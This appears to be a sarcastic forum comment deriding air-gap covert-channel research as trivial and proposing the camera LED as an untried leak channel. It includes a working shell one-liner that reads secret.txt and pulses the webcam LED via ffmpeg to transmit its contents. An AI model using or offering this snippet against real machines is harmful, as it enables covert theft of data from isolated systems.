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Literally the guy's entire schtick is picking a random noise/EMI output from a computer (he's done fan noise, HDD LEDs, temperature, etc), figuring out how to write software to encode data in the noise the least-effort amount of way, then pumping out a paper.
Anyone can come up with this stuff and implement it. Seriously. Like half of the papers only take a few lines of code to implement on both the transmitting and receiving sides (you need malware on both sides).
I was going to give you some ideas, but he's already done most of them (I looked around, thought "screen brightness" - yup, he did it last year). Uhh, let's see... camera LED! He's done keyboard LEDs, HDD LEDs, router LEDs, but not camera LEDs! Hey Morderai, free paper!
Here's your leaking code: xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done 4 bits per pulse PWM encoding. Tested on my iMac. There's half of your paper! You're welcome!
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